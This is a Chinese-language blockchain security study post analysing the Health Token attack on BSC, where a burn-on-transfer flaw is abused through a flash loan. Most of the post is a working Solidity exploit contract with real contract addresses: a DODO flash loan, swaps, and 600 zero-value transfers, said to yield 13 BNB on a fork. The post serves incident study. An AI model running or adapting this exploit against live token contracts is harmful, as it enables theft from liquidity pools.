區塊鏈安全學習 - Health Token
VSole2022-12-20 09:55:39
攻擊交易https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
攻擊分析
攻擊者通過dodo閃電貸獲取了40個WBNB,通過pancakeSwap的Router兌換了30565652268756555675523626個。

相同數目的Health token應該只能swap出個40000000000000000000
但是卻兌換出了56641927146106351887,歸還閃電貸后,至此黑客獲利16641927146106351887。也就是16BNB。
通過觀察交易,發現黑客發送了大量的 transfer,去看合約代碼。
發現在 transfer 函數中,如果滿足了條件,它就會銷毀流動池中的Health代幣。從而導致Health兌換WBNB的價格增高。

復盤
我們同樣也去dodo借一筆閃電貸,然后去模擬運行一下。fork bsc 22337426區塊。
去tenderly模擬,因為循環次數過多,我們需要拉高gas:

pragma solidity ^0.8.0;interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool);} interface Uni_Router_V2 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline ) external;} interface IDPPAdvanced { function flashLoan( uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data ) external;} interface IWBNB { function balanceOf(address account) external view returns (uint256); function withdraw(uint wad) external; function deposit() external payable; function approve(address guy, uint wad) external returns (bool);} interface IPancakeRouter { function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external;} interface IHealth { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool);} interface IPancakePair { function skim(address to) external; function sync() external;} struct DPPAdvancedCallBackData { uint256 baseAmount; uint256 quoteAmount;} contract ContractTest{ IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32); Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; function testExp() external{ WBNB.approve(address(uni_router), type(uint).max); HEALTH.approve(address(uni_router),type(uint).max); uint256 borrown_wbnb_amt = 200 * 1e18; DPPAdvancedCallBackData memory callbackData; callbackData.baseAmount = borrown_wbnb_amt; callbackData.quoteAmount = 0; bytes memory data = abi.encode(callbackData); IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data); } fallback() external payable { } function DPPFlashLoanCall( address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data ) external { WBNBToHEALTH(); for(uint i = 0; i < 600; i++){ HEALTH.transfer(address(this), 0); } HEALTHToWBNB(); WBNB.transfer(dodo, 200 * 1e18); } function WBNBToHEALTH() internal{ address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(HEALTH); uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens( WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } function HEALTHToWBNB() internal{ address[] memory path = new address[](2); path[0] = address(HEALTH); path[1] = address(WBNB); uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens( HEALTH.balanceOf(address(this)), 0, path, address(this), block.timestamp ); }
成功獲利13個BNB。
本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
VSole
網絡安全專家